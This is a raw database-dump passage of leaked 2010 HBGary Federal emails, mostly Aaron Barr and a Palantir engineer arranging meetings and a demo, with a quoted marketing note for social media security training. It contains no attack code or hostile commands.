\r\n\r\n\r\n\r\n\r\n\r\n\r\nDear UNO Suppliers,\r\n\r\n&nbsp;\r\n\r\nPlease see attached summary sheet for Green Eggs Mitigation\r\nStudy Survey.&nbsp; If you have any questions please let me or Doug Britton\r\nknow.\r\n\r\n&nbsp;\r\n\r\nThank you,\r\n\r\n&nbsp;\r\n\r\nJason\r\nM. Lentz\r\n\r\nSCA\r\n\r\nLockheed\r\nMartin, IS &amp; GS\r\n\r\n13560\r\nDulles Technology Drive\r\n\r\nHerndon,\r\nVA&nbsp; 20171\r\n\r\n703-466-1368\r\noffice\r\n\r\n703-466-1270\r\nFax \r\n\r\nJason.M.Lentz@lmco.com\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n',14733,'aaron_hbgary_com/14733.html'),(11624,'2010-09-10','\"Matthew Steckman\" <msteckman@palantir.com>','/aaron@hbgary.com/new/1297008740.M448966P14101Q6479.eml','\"Aaron Barr\" <aaron@hbgary.com>','RE: Social Media, Exploitation, and Persistent Internet Operations','\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n \r\n  \r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\nSure.\r\n\r\n&nbsp;\r\n\r\nAre we going to collaborate on a Fingerprinting demo at GovCon\r\nor what?&nbsp; GovCon lead is pinging me.&nbsp; \r\n\r\n&nbsp;\r\n\r\n\r\n\r\nMatthew Steckman\r\nPalantir Technologies | Forward Deployed Engineer\r\nmsteckman@palantir.com\r\n| 202-257-2270\r\n\r\n&nbsp;\r\n\r\nFollow @palantirtech\r\n\r\nWatch youtube.com/palantirtech\r\n\r\nAttend Palantir\r\nNight Live\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nFrom: Aaron Barr\r\n[mailto:aaron@hbgary.com] \r\nSent: Friday, September 10, 2010 1:58 PM\r\nTo: Matthew Steckman\r\nSubject: Re: Social Media, Exploitation, and Persistent Internet\r\nOperations\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\nGreat. &nbsp;I have a meeting in Mclean with FBI Cyber\r\nDivision at 1:30 sooo good segway. &nbsp;How about 11:30?\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nAaron\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nOn Sep 10, 2010, at 1:56 PM, Matthew Steckman wrote:\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nLet&#8217;s do Wed.&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nMatthew Steckman\r\nPalantir Technologies | Forward Deployed Engineer\r\nmsteckman@palantir.com&nbsp;| 202-257-2270\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nFollow&nbsp;@palantirtech\r\n\r\n\r\n\r\n\r\n\r\nWatch&nbsp;youtube.com/palantirtech\r\n\r\n\r\n\r\n\r\n\r\nAttend&nbsp;Palantir Night Live\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nFrom:&nbsp;Aaron Barr\r\n[mailto:aaron@hbgary.com]&nbsp;\r\nSent:&nbsp;Thursday, September\r\n09, 2010 10:40 PM\r\nTo:&nbsp;Matthew Steckman\r\nSubject:&nbsp;Re: Social Media,\r\nExploitation, and Persistent Internet Operations\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n9/13 is bad I will be in Denver Mon/Tues. &nbsp;I can do Wed\r\nor Fri. &nbsp;Always up for lunch at your place. :)\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nAaron\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nOn Sep 8, 2010, at 9:26 AM, Matthew Steckman wrote:\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nHow does 9/13 work for you?&nbsp; Want to come for lunch?&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nMatthew Steckman\r\nPalantir Technologies | Forward Deployed Engineer\r\nmsteckman@palantir.com&nbsp;| 202-257-2270\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nFollow&nbsp;@palantirtech\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nWatch&nbsp;youtube.com/palantirtech\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nAttend&nbsp;Palantir Night Live\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nFrom:&nbsp;Aaron Barr [mailto:aaron@hbgary.com]&nbsp;\r\nSent:&nbsp;Tuesday, September\r\n07, 2010 10:10 AM\r\nTo:&nbsp;Matthew Steckman\r\nSubject:&nbsp;Re: Social Media,\r\nExploitation, and Persistent Internet Operations\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nSure thing, just send me a note. &nbsp;I have never been to\r\nIndia but I can imagine it has to be a bit crazy.\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nAaron\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nOn Sep 5, 2010, at 3:02 AM, Matthew Steckman wrote:\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nVery nice.&nbsp; I might want to attend to check it out, maybe\r\nsee how Palantir could fit into your thinking.\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nLet&#8217;s sync up when I get back from India.&nbsp; This country is\r\nnuts, have you ever been?\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nMatthew Steckman\r\nPalantir Technologies | Forward Deployed Engineer\r\nmsteckman@palantir.com&nbsp;| 202-257-2270\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nFollow&nbsp;@palantirtech\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nWatch&nbsp;youtube.com/palantirtech\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nAttend&nbsp;Palantir Night Live\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nFrom:&nbsp;Aaron Barr\r\n[mailto:aaron@hbgary.com]&nbsp;\r\nSent:&nbsp;Wednesday, September\r\n01, 2010 2:32 PM\r\nSubject:&nbsp;Social Media,\r\nExploitation, and Persistent Internet Operations\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nThe rise of the social web has created an entirely new set\r\nof useful technologies and security vulnerabilities. &nbsp;It is our experience\r\nthat most individuals and organizations understand there are risks to using\r\nsocial media but don\'t understand the full extent, from what types of use, what\r\nthe real risks are, or how the vulnerabilities can be fully exploited, and how\r\nto effectively protect themselves.\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nHBGary Federal has extensive experience in social media technologies, how to\r\nuse these tools effectively, what the risks are to information exposure and\r\nexploitation, and how to more effectively protect yourself and your\r\norganization. &nbsp;We feel this is an area that needs more attention and\r\nunderstanding quickly as the commercial social media platforms provide to much\r\neasy opportunities for threats.\r\n\r\nAttached is our training brochure for our online and in-class social media\r\ntraining programs, 1/2 and full day. &nbsp;We also offer a tailored training\r\nprogram that is preceded by a social media penetration test. &nbsp;The\r\ninformation gathered during the pen test is provided in a before and after\r\ninformation exposure report as well as the information is used to tailor the\r\ntraining program to make it as relevant as possible to the organization.\r\n\r\nVisit our training web page to review and sign up for one of our online\r\ntraining classes or send an email to schedule in-class room training. &nbsp;You\r\ncan also follow us on twitter to receive regular updates &nbsp;or become a fan\r\nof our Facebook page.\r\n\r\nWeb:&nbsp;training.hbgaryfederal.com\r\nTwitter: HBGaryFed\r\nFacebook: HBGary Federal\r\nEmail:&nbsp;training@hbgaryfederal.com\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n',10141,'aaron_hbgary_com/10141.html'),(11625,'2010-09-10','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297008740.M797163P14101Q6480.eml','\"Ted Vera\" <ted@hbgary.com>','Fwd: Social Media, Exploitation, and Persistent Internet Operations','Did u get stuff to Aaron?Sent from my iPhoneBegin forwarded message:From: Matthew Steckman &lt;msteckman@palantir.com&gt;\r\nDate: September 10, 2010 2:18:39 PM EDTTo: Aaron Barr &lt;aaron@hbgary.com&gt;Subject: RE: Social Media, Exploitation, and Persistent Internet Operations\r\n\r\n\r\n\r\n\r\nSure.\r\n\r\n \r\n\r\nAre we going to collaborate on a Fingerprinting demo at GovCon\r\nor what?  GovCon lead is pinging me.  \r\n\r\n \r\n\r\n\r\n\r\nMatthew Steckman\r\nPalantir Technologies | Forward Deployed Engineer\r\nmsteckman@palantir.com\r\n| 202-257-2270\r\n\r\n \r\n\r\nFollow @palantirtech\r\n\r\nWatch youtube.com/palantirtech\r\n\r\nAttend Palantir\r\nNight Live\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\nFrom: Aaron Barr\r\n[mailto:aaron@hbgary.com] \r\nSent: Friday, September 10, 2010 1:58 PM\r\nTo: Matthew Steckman\r\nSubject: Re: Social Media, Exploitation, and Persistent Internet\r\nOperations\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\nGreat.  I have a meeting in Mclean with FBI Cyber\r\nDivision at 1:30 sooo good segway.  How about 11:30?\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\nAaron\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\nOn Sep 10, 2010, at 1:56 PM, Matthew Steckman wrote:\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nLet’s do Wed. \r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nMatthew Steckman\r\nPalantir Technologies | Forward Deployed Engineer\r\nmsteckman@palantir.com | 202-257-2270\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\nFollow @palantirtech\r\n\r\n\r\n\r\n\r\n\r\nWatch youtube.com/palantirtech\r\n\r\n\r\n\r\n\r\n\r\nAttend Palantir Night Live\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nFrom: Aaron Barr\r\n[mailto:aaron@hbgary.com] \r\nSent: Thursday, September\r\n09, 2010 10:40 PM\r\nTo: Matthew Steckman\r\nSubject: Re: Social Media,\r\nExploitation, and Persistent Internet Operations\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\n9/13 is bad I will be in Denver Mon/Tues.  I can do Wed\r\nor Fri.  Always up for lunch at your place. :)\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nAaron\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nOn Sep 8, 2010, at 9:26 AM, Matthew Steckman wrote:\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nHow does 9/13 work for you?  Want to come for lunch? \r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nMatthew Steckman\r\nPalantir Technologies | Forward Deployed Engineer\r\nmsteckman@palantir.com | 202-257-2270\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nFollow @palantirtech\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nWatch youtube.com/palantirtech\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nAttend Palantir Night Live\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nFrom: Aaron Barr [mailto:aaron@hbgary.com] \r\n\r\nSent: Tuesday, September\r\n07, 2010 10:10 AM\r\nTo: Matthew Steckman\r\nSubject: Re: Social Media,\r\nExploitation, and Persistent Internet Operations\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nSure thing, just send me a note.  I have never been to\r\nIndia but I can imagine it has to be a bit crazy.\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nAaron\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nOn Sep 5, 2010, at 3:02 AM, Matthew Steckman wrote:\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nVery nice.  I might want to attend to check it out, maybe\r\nsee how Palantir could fit into your thinking.\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nLet’s sync up when I get back from India.  This country is\r\nnuts, have you ever been?\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nMatthew Steckman\r\nPalantir Technologies | Forward Deployed Engineer\r\nmsteckman@palantir.com | 202-257-2270\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nFollow @palantirtech\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nWatch youtube.com/palantirtech\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nAttend Palantir Night Live\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nFrom: Aaron Barr\r\n[mailto:aaron@hbgary.com] \r\nSent: Wednesday, September\r\n01, 2010 2:32 PM\r\nSubject: Social Media,\r\nExploitation, and Persistent Internet Operations\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nThe rise of the social web has created an entirely new set\r\nof useful technologies and security vulnerabilities.  It is our experience\r\nthat most individuals and organizations understand there are risks to using\r\nsocial media but don&#39;t understand the full extent, from what types of use, what\r\nthe real risks are, or how the vulnerabilities can be fully exploited, and how\r\nto effectively protect themselves.\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nHBGary Federal has extensive experience in social media technologies, how to\r\nuse these tools effectively, what the risks are to information exposure and\r\nexploitation, and how to more effectively protect yourself and your\r\norganization.  We feel this is an area that needs more attention and\r\nunderstanding quickly as the commercial social media platforms provide to much\r\neasy opportunities for threats.\r\n\r\nAttached is our training brochure for our online and in-class social media\r\ntraining programs, 1/2 and full day.  We also offer a tailored training\r\nprogram that is preceded by a social media penetration test.  The\r\ninformation gathered during the pen test is provided in a before and after\r\ninformation exposure report as well as the information is used to tailor the\r\ntraining program to make it as relevant as possible to the organization.\r\n\r\nVisit our training web page to review and sign up for one of our online\r\ntraining classes or send an email to schedule in-class room training.  You\r\ncan also follow us on twitter to receive regular updates  or become a fan\r\nof our Facebook page.\r\n\r\nWeb: training.hbgaryfederal.com\r\nTwitter: HBGaryFed\r\nFacebook: HBGary Federal\r\nEmail: training@hbgaryfederal.com\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n',6743,'aaron_hbgary_com/6743.html'),(11626,'2010-09-10','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297008741.M209695P14101Q6481.eml','\"Matthew Steckman\" <msteckman@palantir.com>','Re: Social Media, Exploitation, and Persistent Internet Operations','Yeah.  I just pinged Ted to get the data to Aaron we said we were going to get to him.  Ya know so much interest it would be nice if the interest would turn in to more money so I could hire more people.  :/\r\nWe want and need to do the collaboration.  Met with us-cert yesterday and if we meet our near term goals for tmc they want to get it.AaronSent from my iPhone\r\nOn Sep 10, 2010, at 2:18 PM, Matthew Steckman &lt;msteckman@palantir.com&gt; wrote:\r\n\r\n\r\n\r\nSure.\r\n\r\n \r\n\r\nAre we going to collaborate on a Fingerprinting demo at GovCon\r\nor what?  GovCon lead is pinging me.  \r\n\r\n \r\n\r\n\r\n\r\nMatthew Steckman\r\nPalantir Technologies | Forward Deployed Engineer\r\nmsteckman@palantir.com\r\n| 202-257-2270\r\n\r\n \r\n\r\nFollow @palantirtech\r\n\r\nWatch youtube.com/palantirtech\r\n\r\nAttend Palantir\r\nNight Live\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\nFrom: Aaron Barr\r\n[mailto:aaron@hbgary.com] \r\nSent: Friday, September 10, 2010 1:58 PM\r\nTo: Matthew Steckman\r\nSubject: Re: Social Media, Exploitation, and Persistent Internet\r\nOperations\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\nGreat.  I have a meeting in Mclean with FBI Cyber\r\nDivision at 1:30 sooo good segway.  How about 11:30?\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\nAaron\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\nOn Sep 10, 2010, at 1:56 PM, Matthew Steckman wrote:\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nLet’s do Wed. \r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nMatthew Steckman\r\nPalantir Technologies | Forward Deployed Engineer\r\nmsteckman@palantir.com | 202-257-2270\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\nFollow @palantirtech\r\n\r\n\r\n\r\n\r\n\r\nWatch youtube.com/palantirtech\r\n\r\n\r\n\r\n\r\n\r\nAttend Palantir Night Live\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nFrom: Aaron Barr\r\n[mailto:aaron@hbgary.com] \r\nSent: Thursday, September\r\n09, 2010 10:40 PM\r\nTo: Matthew Steckman\r\nSubject: Re: Social Media,\r\nExploitation, and Persistent Internet Operations\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\n9/13 is bad I will be in Denver Mon/Tues.  I can do Wed\r\nor Fri.  Always up for lunch at your place. :)\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nAaron\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nOn Sep 8, 2010, at 9:26 AM, Matthew Steckman wrote:\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nHow does 9/13 work for you?  Want to come for lunch? \r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nMatthew Steckman\r\nPalantir Technologies | Forward Deployed Engineer\r\nmsteckman@palantir.com | 202-257-2270\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nFollow @palantirtech\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nWatch youtube.com/palantirtech\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nAttend Palantir Night Live\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nFrom: Aaron Barr [mailto:aaron@hbgary.com] \r\n\r\nSent: Tuesday, September\r\n07, 2010 10:10 AM\r\nTo: Matthew Steckman\r\nSubject: Re: Social Media,\r\nExploitation, and Persistent Internet Operations\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nSure thing, just send me a note.  I have never been to\r\nIndia but I can imagine it has to be a bit crazy.\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nAaron\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nOn Sep 5, 2010, at 3:02 AM, Matthew Steckman wrote:\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nVery nice.  I might want to attend to check it out, maybe\r\nsee how Palantir could fit into your thinking.\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nLet’s sync up when I get back from India.  This country is\r\nnuts, have you ever been?\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nMatthew Steckman\r\nPalantir Technologies | Forward Deployed Engineer\r\nmsteckman@palantir.com | 202-257-2270\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nFollow @palantirtech\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nWatch youtube.com/palantirtech\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nAttend Palantir Night Live\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nFrom: Aaron Barr\r\n[mailto:aaron@hbgary.com] \r\nSent: Wednesday, September\r\n01, 2010 2:32 PM\r\nSubject: Social Media,\r\nExploitation, and Persistent Internet Operations\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nThe rise of the social web has created an entirely new set\r\nof useful technologies and security vulnerabilities.  It is our experience\r\nthat most individuals and organizations understand there are risks to using\r\nsocial media but don&#39;t understand the full extent, from what types of use, what\r\nthe real risks are, or how the vulnerabilities can be fully exploited, and how\r\nto effectively protect themselves.\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nHBGary Federal has extensive experience in social media technologies, how to\r\nuse these tools effectively, what the risks are to information exposure and\r\nexploitation, and how to more effectively protect yourself and your\r\norganization.  We feel this is an area that needs more attention and\r\nunderstanding quickly as the commercial social media platforms provide to much\r\neasy opportunities for threats.\r\n\r\nAttached is our training brochure for our online and in-class social media\r\ntraining programs, 1/2 and full day.  We also offer a tailored training\r\nprogram that is preceded by a social media penetration test.  The\r\ninformation gathered during the pen test is provided in a before and after\r\ninformation exposure report as well as the information is used to tailor the\r\ntraining program to make it as relevant as possible to the organization.\r\n\r\nVisit our training web page to review and sign up for one of our online\r\ntraining classes or send an email to schedule in-class room training.  You\r\ncan also follow us on twitter to receive regular updates  or become a fan\r\nof our Facebook page.\r\n\r\nWeb: training.hbgaryfederal.com\r\nTwitter: HBGaryFed\r\nFacebook: HBGary Federal\r\nEmail: training@hbgaryfederal.com\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n',7706,'aaron_hbgary_com/7706.html'),(11627,'2010-09-10','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297008741.M692780P14101Q6482.eml','\"Matthew Steckman\" <msteckman@palantir.com>','Re: Social Media, Exploitation, and Persistent Internet Operations','Maybe I can get money out of dr porter, DIR iarpa.  Meet with her in 30 min.AaronSent from my iPhoneOn Sep 10, 2010, at 2:18 PM, Matthew Steckman &lt;msteckman@palantir.com&gt; wrote:\r\n\r\n\r\n\r\n\r\nSure.\r\n\r\n \r\n\r\nAre we going to collaborate on a Fingerprinting demo at GovCon\r\nor what?  GovCon lead is pinging me.  \r\n\r\n \r\n\r\n\r\n\r\nMatthew Steckman\r\nPalantir Technologies | Forward Deployed 